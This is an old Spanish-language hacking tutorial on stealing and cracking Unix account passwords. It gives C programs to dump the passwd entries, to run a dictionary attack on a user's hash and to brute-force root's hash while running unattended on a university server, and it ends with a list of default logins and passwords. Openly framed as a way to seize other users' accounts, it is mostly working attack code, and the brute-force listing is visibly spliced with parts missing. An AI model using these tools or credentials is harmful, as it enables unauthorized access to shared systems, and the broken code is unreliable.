Sign In Sign-Up

Welcome!

Close

Would you like to make this site your homepage? It's fast and easy...

Yes, Please make this my home page!

No Thanks

  Don't show this to me again.

Close

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ INDICE ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

0-Introduccion

1-¨Porque es importante conocer el Unix?

2-¨Porque es facil cracker un sistema Unix?

3-Capturando el fichero passwd
3.1-Unix
3.2-Otros sistemas derivados

4-¨Es posible desencriptar un password?

5-¨Para que sirven los famosos 'diccionarios'?

6-Como averiguar password con diccionarios
6.1-Un programa ejemplo
6.2-Generadores de palabras

7-Cuentas Unix por defecto

8-Despedida
 

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 0-INTRODUCCION ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

No voy a contaros toda la historia del Unix ya que ademas de ser aburrida,
imagino que estareis hartos de leerla.

Simplemente quiero decir que este es un documento bastante basico sobre
seguridad en Unix, pero que viene muy bien sobre todo a la gente que estudia
o trabaja en alguna Universidad o cualquier otro centro y tiene acceso a un
shell del servidor.

Tambien me gustaria que si alguien tiene dudas sobre lo que aqui escribo, o
cualquier otra cosa, me mande un e-mail.
 

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 1-¨POR QUE ES IMPORTANTE CONOCER UNIX? ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Unix es un sistema operativo multitarea y multiusuario, y que ademas, lleva
muchos a¤os funcionando como tal. Aunque con la aparicion del Windows NT
(aparentemente bastante seguro, aunque con muchos bugs :) - pero eso es otro
tema) este decreciendo el numero de empresas que usan Unix, sigue siendo hoy
en dia uno de los sistemas operativo mas 'seguros' que existen. Por lo que
muchisimas empresas (y sobre todo Universidades) lo usan. Ademas es mas facil
hackear desde un sistema Unix que desde Windows.

¨Como podemos nosotros hackear desde un Unix (o derivado de el)? Debemos
disponer de una cuenta shell (que nos la debe de dar nuestro proveedor de
Internet) o bien accediendo a Internet mediante Linux. Pero esto lo veremos
en otras revistas.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 2-¨POR QUE ES FACIL CRACKEAR UN SISTEMA UNIX? ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Los que inventaron Unix crearon un sistema bastante seguro, pero no perfecto.
Todos los sistemas tienen bugs, y a pesar de que en cada nueva version hay
menos agujeros, sigue siendo imperfecto. Hay algunos 'fallos' en el dise¤o
del sistema que un programador muy experimentado podria aprovechar. Por
ejemplo: un usuario no puede crear un directorio. No tiene poermiso para ello.
Por lo que cuando hacemos un mkdir, le pasamos el control (por milesimas de
segundo) a root, que es el que se encarga de crearlo y luego devolvernos el
control. ­­Imagina lo que ocurriria si fueramos capaces de causar una inte-
rrupcion en ese peque¤o tiempo en que root tiene el control!! Automaticamente
pasariamos a ser los due¤os y se¤ores del sistema. (lo siento Rabine, no me he
podido resistir) :)

Pero yo no voy a ense¤ar ningun bug, ni tampoco programacion avanzada. Solo
voy a mostrar una forma muy simple de conseguir cuentas. Y si el administrador
es un poco lamer incluso podremos ser root.

El sistema Unix tiene un metodo de cifrado muy bueno, pero guarda la informa-
cion de todos los usuario junto con sus password (logicamente cifrados) en
un fichero. El fichero passwd.
 

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 3-CAPTURANDO EL FICHERO PASSWD ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄ¿
³3.1-UNIX³
ÀÄÄÄÄÄÄÄÄÙ

En Unix es muy sencillo leer este fichero, ya que es accesible a cualquier
usuario. Se encuentra en el directorio /etc. Y tiene la siguiente forma:

paco:ZbkEM2vQVowcw:10013:202:PACO SANCHEZ PENADES:/home/paco:/bin/ksh
elisa:GeJuwMrBVa6mg:10016:202:ELISA J. CRIVILLES:/home/elisa:/bin/ksh
pepe:GezuA6krN/BsE:10019:202:PEPE PE¥ALVER BENAVENT:/home/pepe:/bin/ksh
juan:Ge7EPYLjRYX9I:10022:202:JUAN BELLIDO IBORRA:/home/juan:/bin/ksh

¨Que significa todo esto? Veamos. el fichero contiene estos datos:

1:2:3:4:5:6:7

donde:

1) nombre del usuario
2) password encriptado
3) numero UID (identificacion de usuario)
4) numero GID (identificacion de grupo)
5) datos del usuario
6) directorio de trabajo
7) directorio del shell

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³3.2-OTROS SISTEMAS DERIVADOS³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

No todos los sistemas guardan el fichero passwd en /etc. He aqui una lista de
varios sistemas y sus directorios:

AIX 3 /etc/security/passwd
A/UX 3.0s /tcb/files/auth/?
BSD4.3-Reno /etc/master.passwd
ConvexOS 10 /etc/shadpw
ConvexOS 11 /etc/shadow
DG/UX /etc/tcb/aa/user/
EP/IX /etc/shadow
HP-UX /.secure/etc/passwd
IRIX 5 /etc/shadow
Linux 1.1 /etc/shadow
OSF/1 /etc/passwd[.dir|.pag]
SCO Unix #.2.x /tcb/auth/files/<first letter
SunOS4.1+c2 /etc/security/passwd.adjunct
SunOS 5.0 /etc/shadow
System V Release 4.0 /etc/shadow
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag]
UNICOS /etc/udb

(lista sacada de los FAQ de alt.2600)

En muchos de estos sistemas, el directorio que contiene el fichero passwd no
es de acceso a usuarios que no sean root, por lo que no podemos ver el conte-
nido del directorio. Pero esto no es ningun impedimento para nosotros. Aqui
posteo un peque¤o programa con el que reconstruimos el fichero passwd, a pesar
de que no podamos acceder a el:

------------------------ cortar por aqui -------------------------------------
// Programa que reconstruye el fichero passwd.
// Copyright (c) Guybrush
// Compilar en c++ y redireccionar la salida a un fichero
// cc cogerPass.cc -o cogerPass > fichero
 

#include <iostream.h>
#include <pwd.h>
 

struct passwd *pw;
 

main()
{
while ((pw = getpwent()) != NULL)
{
cout << pw->pw_name;
cout << ":" << pw->pw_passwd;
cout << ":" << pw->pw_uid;
cout << ":" << pw->pw_gid;
cout << ":" << pw->pw_gecos;
cout << ":" << pw->pw_dir;
cout << ":" << pw->pw_shell << endl;
}

endpwent();
}
------------------------ cortar por aqui -------------------------------------

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 4-¨ES POSIBLE DESENCRIPTAR UN PASSWORD? ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Ningun cifrado es indescrifrable, pero hay algunos que con los ordenadores
de hoy en dia se tardarian muchos a¤os en poder descifrar, como es el caso
del cifrado de Unix.

Cuando creamos un password, Unix aplica sobre el el algoritmo de cifrado lla-
mado DES, el cual era un algoritmo practicamente indescifrable cuando se ideo,
pero que con el paso del tiempo y la tremenda evolucion de la tecnologia, cada
dia se hace mas posible su desencriptado, dada la velocidad de los ordenadores
actuales. Pero la cosa no es tan facil ya que Unix no aplica este algoritmo
una sola vez, sino que lo aplica 25 veces. Una vez que encripta la palabra, la
vuelve a encriptar, y asi sucesivamente, hasta 25. Y por si fuera poco, a la
palabra resultante le a¤ade dos caracteres mas, llamados 'salt', que provienen
de la hora de encriptado. Es decir, si nosotros encriptamos la palabra 'pepe'
a las 20:00 y la volvemos a encriptar a las 20:05 (por ejemplo), la palabra
cifrada resultante no es la misma.

Cada palabra tiene ­­4.096 formas distintas!! de desencriptarse. Por lo que
si has pensado alguna vez en descifrar una palabra ... ni lo sue¤es (por lo
menos con los ordenadores de hoy en dia). Es practicamente imposible (se tar-
daria una eternidad). Por eso recurrimos a los diccionarios...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 5-¨PARA QUE SIRVEN LOS FAMOSOS DICCIONARIOS? ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Como hemos visto, no podemos descifrar un password, pero si que podemos cifrar
palabras con todos los salt posibles y compararlas con la que ya tenemos ci-
frada. Por ejemplo, ciframos la palabra 'arbol', le quitamos el salt y le a¤a-
dimos todas las combinaciones. Luego las comparamos con el password ya cifrado
y si son iguales ... ­ya tenemos la clave!. Pero tampoco es cuestion de comen-
zar a introducir palabras por teclado ya que se nos haria eterno y muy engo-
rroso, por lo que primero podemos construir un diccionario (hay muchos en
Internet), el cual le pasaremos como parametro al programa comparador que ten-
gamos. Y el se encargara de realizar todo el trabajo.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 6-¨COMO AVERIGUAR PASSWORD CON DICCIONARIOS? ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³6.1-UN PROGRAMA EJEMPLO³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

He aqui un peque¤o programa que encripta y comprara palabras. Es de lo mas
basico, por lo que no deberias tener ningun problema en entenderlo. Tambien
existen otros que funcionan bajo DOS y que funcionan mas rapido como son:
brute, jack crack, john the ripper, ... Te recomiendo que los consigas.

este programa comprueba que el usuario exista en esa maquina y captura el
mismo la palabra encriptada. Si quieres puedes modificarlo para que le puedas
pasar como parametro la palabra encriptada y que trabaje en tu misma casa.
Tambien acepta cualquier texto ya que el mismo se encarga de deshechar los
caracteres especiales:
 

------------------------ cortar por aqui -------------------------------------
// Programa que lee palabras de cualquier diccionario o texto y despues de
// encriptarlas las compara.
// Copyright (c) Guybrush
 

#include <stdio.h>
#include <pwd.h>
 

char cadena[30];
char clave[30];

struct passwd *pwd;
 

int desencripta(char *clave, char *archivo)
{
FILE *fichero;

char *crypt(), *resp;
int cont;

if ((fichero = fopen(archivo,"r")) == NULL)
{
printf("\nError al abrir diccionario\n");
exit(0);
}

while (!feof(fichero))
{
cont = 0;

do
{
cadena[cont] = fgetc(fichero);
cont++;
} while ((cadena[cont-1] != '\n') && (cadena[cont-1] != ' ') &&
(cadena[cont-1] != ',') && (cadena[cont-1] != '.') &&
(cadena[cont-1] != ';') && (cadena[cont-1] != ':') &&
(!feof(fichero)));

cadena[cont-1] = '\x0';

resp = crypt(cadena,clave);

if (!strcmp(resp,clave))
{
printf("\a\n\n\n ==> El password es : %s <==\n\n\n",cadena);
fclose(fichero);

return 1;
}
}

fclose(fichero);

return 0;
}
 

main(int argc, char **argv)
{
int respuesta;
char clave[15];

if (argc == 3)
{
if (!(pwd = getpwnam(argv[1])))
{
printf("\nUsuario desconocido.\n\n");
exit(-1);
}

strcpy(clave,pwd->pw_passwd);

endpwent();

printf("\n\nBuscando palabras en el diccionario ...\n\n");

respuesta = desencripta(clave,argv[2]);

if (respuesta != 1)
printf("\n\n\nPalabra no encontrada en el diccionario.\n\n\n");
}
else
printf("\n\nUsar: %s <usuario> <diccionario donde buscar>\n\n",argv[0]);
}
------------------------ cortar por aqui -------------------------------------

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³6.2-GENERADORES DE PALABRAS³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Podemos dise¤ar tambien un programa que genere todas las combinaciones de
palabras y/o numeros. Esto es muy util para password con menos de 6 caracteres
ya que con 5 ya tarda una eternidad. Ademas hemos de tener en cuenta que un
password admite mayusculas, numeros y caracteres especiales.

He aqui un peque¤o programa el cual uso para dejar residente en la Universidad
ya que esta esta en funcionamiento las 24 horas del dia. Aunque tarde semanas
o meses en encontrar el password, como no esta en mi casa ... :)

------------------------ cortar por aqui -------------------------------------
// Programa que debemos dejar residente con 'nohup' y que busca todas las
// posibles combinaciones para desencriptar un password. Tambien controla
// las interrupciones y hace copias de seguridad ante un kill y cada cierto
// tiempo para poder continuar posteriormente por donde se quedo.
// Copyright (c) Guybrush

#include <stdio.h>
#include <string.h>
#include <pwd.h>
#include <signal.h>
#include <sys/types.h>

#define USUARIO "root" // nombre del usuario
#define DATOS "datos" // fichero temporal donde guarda datos ante un kill
#define SALIDA "salida" // donde graba el password en caso de encontrarlo
/*#define CADENA "abcdefghijklmn¤opqrstuvwxyz"*/
#define CADENA "abcdefghijklmn¤opqrstuvwxyz0123456789"
/*#define CADENA "abcdefghijklmn¤opqrstuvwxyzABCDEFGHIJKLMN¥OPQRSTUVWXYZ"*/
/*#define CADENA "abcdefghijklmn¤opqrstuvwxyzABCDEFGHIJKLMN¥OPQRSTUVW
XYZ0123456789-"*/
 

struct {
char c1[2];
char c2[3];
char c3[4];
char c4[5];
char c5[6];
char c6[7];
char c7[8];
char c8[9];
} proceso;

struct passwd *pwd;
 

FILE *fichero;

double contador = 0;

main()
{
void inicializar();
void abandonar();
void uno(), dos(), tres(), cuatro(), cinco(), seis(), siete(), ocho();

char cadena[30];
int longitud = strlen(CADENA);
char clave[15];

signal(SIGTERM,abandonar);

if (!(pwd = getpwnam(USUARIO)))
{
printf("\nUsuario desconocido.\n\n");
exit(-1);
}

strcpy(clave,pwd->pw_passwd);

endpwent();

strcpy(cadena,CADENA);

inicializar(cadena);

uno(longitud, cadena, clave);
dos(longitud, cadena, clave);
tres(longitud, cadena, clave);
cuatro(longitud, cadena, clave);
cinco(longitud, cadena, clave);
seis(longitud, cad proceso.c1[1] = '\x0';
proceso.c2[2] = '\x0';
proceso.c3[3] = '\x0';
proceso.c4[4] = '\x0';
proceso.c5[5] = '\x0';
proceso.c6[6] = '\x0';
proceso.c7[7] = '\x0';
proceso.c8[8] = '\x0';

return;
}
 

void abandonar()
{
if ((fichero = fopen(DATOS,"w")) == NULL)
{
printf("\nError al crear fichero.\n\n");
exit(-1);
}

proceso.c1[1] = '\n';
proceso.c2[2] = '\n';
proceso.c3[3] = '\n';
proceso.c4[4] = '\n';
proceso.c5[5] = '\n';
proceso.c6[6] = '\n';
proceso.c7[7] = '\n';
proceso.c8[8] = '\n';

fwrite(&proceso,sizeof(proceso),1,fichero);
fclose(fichero);
exit(-1);
}
 

void copia()
{
if ((fichero = fopen(DATOS,"w")) == NULL)
{
printf("\nError al crear fichero.\n\n");
exit(-1);
}

proceso.c1[1] = '\n';
proceso.c2[2] = '\n';
proceso.c3[3] = '\n';
proceso.c4[4] = '\n';
proceso.c5[5] = '\n';
proceso.c6[6] = '\n';
proceso.c7[7] = '\n';
proceso.c8[8] = '\n';

fwrite(&proceso,sizeof(proceso),1,fichero);
fclose(fichero);

return;
}
 

int busca(int longitud, char *cadena, char caracter)
{
int posicion;

for (posicion = 0; posicion < longitud; posicion++)
if (caracter == cadena[posicion])
return posicion;

return 0;
}
 

void encontrado(char *palabra)
{
FILE *fichero2;

printf("\a\a\a");

if ((fichero2 = fopen(SALIDA,"w")) == NULL)
{
printf("\nError al crear fichero.\n\nClave : %s",palabra);
exit(-1);
}

fprintf(fichero2,palabra);
fclose(fichero2);

return;
}
 

void uno(int longitud, char *cadena, char *clave)
{
void encontrado();
void copia();

char *crypt(), *desencripta;

int cont;
int p0 = busca(longitud,cadena,proceso.c1[0]);

for (cont = p0; cont != longitud; cont++)
{
proceso.c1[0] = cadena[cont];
desencripta = crypt(proceso.c1,clave);
if (!strcmp(desencripta,clave))
{
encontrado(proceso.c1);
abandonar();
}

if ((contador++) == 60000)
{
copia();
contador = 0;
}
}

return;
}
 

void dos(int longitud, char *cadena, char *clave)
{
void encontrado();
void copia();

char *crypt(), *desencripta;

int cont, cont2;
int p0 = busca(longitud,cadena,proceso.c2[0]);
int p1 = busca(longitud,cadena,proceso.c2[1]);

for (cont = p0; cont < longitud; cont++)
{
proceso.c2[0] = cadena[cont];

for (cont2 = p1; cont2 < longitud; cont2++)
{
proceso.c2[1] = cadena[cont2];
desencripta = crypt(proceso.c2,clave);
if (!strcmp(desencripta,clave))
{
encontrado(proceso.c2);
abandonar();
}

if ((contador++) == 60000)
{
copia();
contador = 0;
}
}

p1 = 0;
}

return;
}
 

void tres(int longitud, char *cadena, char *clave)
{
void encontrado();
void copia();

char *crypt(), *desencripta;

int cont, cont2, cont3;
int p0 = busca(longitud,cadena,proceso.c3[0]);
int p1 = busca(longitud,cadena,proceso.c3[1]);
int p2 = busca(longitud,cadena,proceso.c3[2]);

for (cont = p0; cont < longitud; cont++)
{
proceso.c3[0] = cadena[cont];

for (cont2 = p1; cont2 < longitud; cont2++)
{
proceso.c3[1] = cadena[cont2];

for (cont3 = p2; cont3 < longitud; cont3++)
{
proceso.c3[2] = cadena[cont3];
desencripta = crypt(proceso.c3,clave);
if (!strcmp(desencripta,clave))
{
encontrado(proceso.c3);
abandonar();
}

if ((contador++) == 60000)
{
copia();
contador = 0;
}
}

p2 = 0;
}

p1 = 0;
}

return;
}
 

void cuatro(int longitud, char *cadena, char *clave)
{
void encontrado();
void copia();

char *crypt(), *desencripta;

int cont, cont2, cont3, cont4;
int p0 = busca(longitud,cadena,proceso.c4[0]);
int p1 = busca(longitud,cadena,proceso.c4[1]);
int p2 = busca(longitud,cadena,proceso.c4[2]);
int p3 = busca(longitud,cadena,proceso.c4[3]);

for (cont = p0; cont < longitud; cont++)
{
proceso.c4[0] = cadena[cont];

for (cont2 = p1; cont2 < longitud; cont2++)
{
proceso.c4[1] = cadena[cont2];

for (cont3 = p2; cont3 < longitud; cont3++)
{
proceso.c4[2] = cadena[cont3];

for (cont4 = p3; cont4 < longitud; cont4++)
{
proceso.c4[3] = cadena[cont4];
desencripta = crypt(proceso.c4,clave);
if (!strcmp(desencripta,clave))
{
encontrado(proceso.c4);
abandonar();
}

if ((contador++) == 60000)
{
copia();
contador = 0;
}
}

p3 = 0;
}

p2 = 0;
}

p1 = 0;
}

return;
}
 

void cinco(int longitud, char *cadena, char *clave)
{
void encontrado();
void copia();

char *crypt(), *desencripta;

int cont, cont2, cont3, cont4, cont5;
int p0 = busca(longitud,cadena,proceso.c5[0]);
int p1 = busca(longitud,cadena,proceso.c5[1]);
int p2 = busca(longitud,cadena,proceso.c5[2]);
int p3 = busca(longitud,cadena,proceso.c5[3]);
int p4 = busca(longitud,cadena,proceso.c5[4]);

for (cont = p0; cont < longitud; cont++)
{
proceso.c5[0] = cadena[cont];

for (cont2 = p1; cont2 < longitud; cont2++)
{
proceso.c5[1] = cadena[cont2];

for (cont3 = p2; cont3 < longitud; cont3++)
{
proceso.c5[2] = cadena[cont3];

for (cont4 = p3; cont4 < longitud; cont4++)
{
proceso.c5[3] = cadena[cont4];

for (cont5 = p4; cont5 < longitud; cont5++)
{
proceso.c5[4] = cadena[cont5];
desencripta = crypt(proceso.c5,clave);
if (!strcmp(desencripta,clave))
{
encontrado(proceso.c5);
abandonar();
}

if ((contador++) == 60000)
{
copia();
contador = 0;
}
}

p4 = 0;
}

p3 = 0;
}

p2 = 0;
}

p1 = 0;
}

return;
}
 

void seis(int longitud, char *cadena, char *clave)
{
void encontrado();
void copia();

char *crypt(), *desencripta;

int cont, cont2, cont3, cont4, cont5, cont6;
int p0 = busca(longitud,cadena,proceso.c6[0]);
int p1 = busca(longitud,cadena,proceso.c6[1]);
int p2 = busca(longitud,cadena,proceso.c6[2]);
int p3 = busca(longitud,cadena,proceso.c6[3]);
int p4 = busca(longitud,cadena,proceso.c6[4]);
int p5 = busca(longitud,cadena,proceso.c6[5]);

for (cont = p0; cont < longitud; cont++)
{
proceso.c6[0] = cadena[cont];

for (cont2 = p1; cont2 < longitud; cont2++)
{
proceso.c6[1] = cadena[cont2];

for (cont3 = p2; cont3 < longitud; cont3++)
{
proceso.c6[2] = cadena[cont3];

for (cont4 = p3; cont4 < longitud; cont4++)
{
proceso.c6[3] = cadena[cont4];

for (cont5 = p4; cont5 < longitud; cont5++)
{
proceso.c6[4] = cadena[cont5];

for (cont6 = p5; cont6 < longitud; cont6++)
{
proceso.c6[5] = cadena[cont6];
desencripta = crypt(proceso.c6,clave);
if (!strcmp(desencripta,clave))
{
encontrado(proceso.c6);
abandonar();
}

if ((contador++) == 60000)
{
copia();
contador = 0;
}
}

p5 = 0;
}

p4 = 0;
}

p3 = 0;
}

p2 = 0;
}

p1 = 0;
}

return;
}
 

void siete(int longitud, char *cadena, char *clave)
{
void encontrado();
void copia();

char *crypt(), *desencripta;

int cont, cont2, cont3, cont4, cont5, cont6, cont7;
int p0 = busca(longitud,cadena,proceso.c7[0]);
int p1 = busca(longitud,cadena,proceso.c7[1]);
int p2 = busca(longitud,cadena,proceso.c7[2]);
int p3 = busca(longitud,cadena,proceso.c7[3]);
int p4 = busca(longitud,cadena,proceso.c7[4]);
int p5 = busca(longitud,cadena,proceso.c7[5]);
int p6 = busca(longitud,cadena,proceso.c7[6]);

for (cont = p0; cont < longitud; cont++)
{
proceso.c7[0] = cadena[cont];

for (cont2 = p1; cont2 < longitud; cont2++)
{
proceso.c7[1] = cadena[cont2];

for (cont3 = p2; cont3 < longitud; cont3++)
{
proceso.c7[2] = cadena[cont3];

for (cont4 = p3; cont4 < longitud; cont4++)
{
proceso.c7[3] = cadena[cont4];

for (cont5 = p4; cont5 < longitud; cont5++)
{
proceso.c7[4] = cadena[cont5];

for (cont6 = p5; cont6 < longitud; cont6++)
{
proceso.c7[5] = cadena[cont6];

for (cont7 = p6; cont7 < longitud; cont7++)
{
proceso.c7[6] = cadena[cont7];
desencripta = crypt(proceso.c7,clave);
if (!strcmp(desencripta,clave))
{
encontrado(proceso.c7);
abandonar();
}

if ((contador++) == 60000)
{
copia();
contador = 0;
}
}

p6 = 0;
}

p5 = 0;
}

p4 = 0;
}

p3 = 0;
}

p2 = 0;
}

p1 = 0;
}

return;
}
 

void ocho(int longitud, char *cadena, char *clave)
{
void encontrado();
void copia();

char *crypt(), *desencripta;

int cont, cont2, cont3, cont4, cont5, cont6, cont7, cont8;
int p0 = busca(longitud,cadena,proceso.c8[0]);
int p1 = busca(longitud,cadena,proceso.c8[1]);
int p2 = busca(longitud,cadena,proceso.c8[2]);
int p3 = busca(longitud,cadena,proceso.c8[3]);
int p4 = busca(longitud,cadena,proceso.c8[4]);
int p5 = busca(longitud,cadena,proceso.c8[5]);
int p6 = busca(longitud,cadena,proceso.c8[6]);
int p7 = busca(longitud,cadena,proceso.c8[7]);

for (cont = p0; cont < longitud; cont++)
{
proceso.c8[0] = cadena[cont];

for (cont2 = p1; cont2 < longitud; cont2++)
{
proceso.c8[1] = cadena[cont2];

for (cont3 = p2; cont3 < longitud; cont3++)
{
proceso.c8[2] = cadena[cont3];

for (cont4 = p3; cont4 < longitud; cont4++)
{
proceso.c8[3] = cadena[cont4];

for (cont5 = p4; cont5 < longitud; cont5++)
{
proceso.c8[4] = cadena[cont5];

for (cont6 = p5; cont6 < longitud; cont6++)
{
proceso.c8[5] = cadena[cont6];

for (cont7 = p6; cont7 < longitud; cont7++)
{
proceso.c8[6] = cadena[cont7];

for (cont8 = p7; cont8 < longitud; cont8++)
{
proceso.c8[7] = cadena[cont8];
desencripta = crypt(proceso.c8,clave);
if (!strcmp(desencripta,clave))
{
encontrado(proceso.c8);
abandonar();
}

if ((contador++) == 60000)
{
copia();
contador = 0;
}
}

p7 = 0;
}

p6 = 0;
}

p5 = 0;
}

p4 = 0;
}

p3 = 0;
}

p2 = 0;
}

p1 = 0;
}

return;
}
------------------------ cortar por aqui -------------------------------------

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 7-CUENTAS UNIX POR DEFECTO ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Los sistemas Unix suelen tener varias cuentas por defecto. Cuentas que algunos
administradores algo lamers no quitan o protegen. Estas son las primeras que
debemos a¤adir a nuestro diccionario ... por si acaso :)

login passwd
----------------------
root root
root system
sys sys
sys system
daemon daemon
uucp uucp
tty tty
test test
unix unix
unix test
bin bin
adm adm
adm admin
admin adm
admin admin
sysman sysman
sysman sys
sysman system
sysadmin sysadmin
sysadmin sys
sysadmin system
sysadmin admin
sysadmin adm
who who
learn learn
uuhost uuhost
guest guest
host host
nuucp nuucp
rje rje
games games
games player
sysop sysop
root sysop
demo demo
 

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 8-DESPEDIDA ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Esto es todo por hoy. espero que te halla servido de ayuda y que me escribas
si tienes alguna duda. Tambien me gustaria que me corrigierais si es que me
he confundido en algo.

Podeis usar y distribuir estos 3 programas pero con la condicion de que dejeis
el copyright.

Un saludo.

ú-= Guybrush =-ú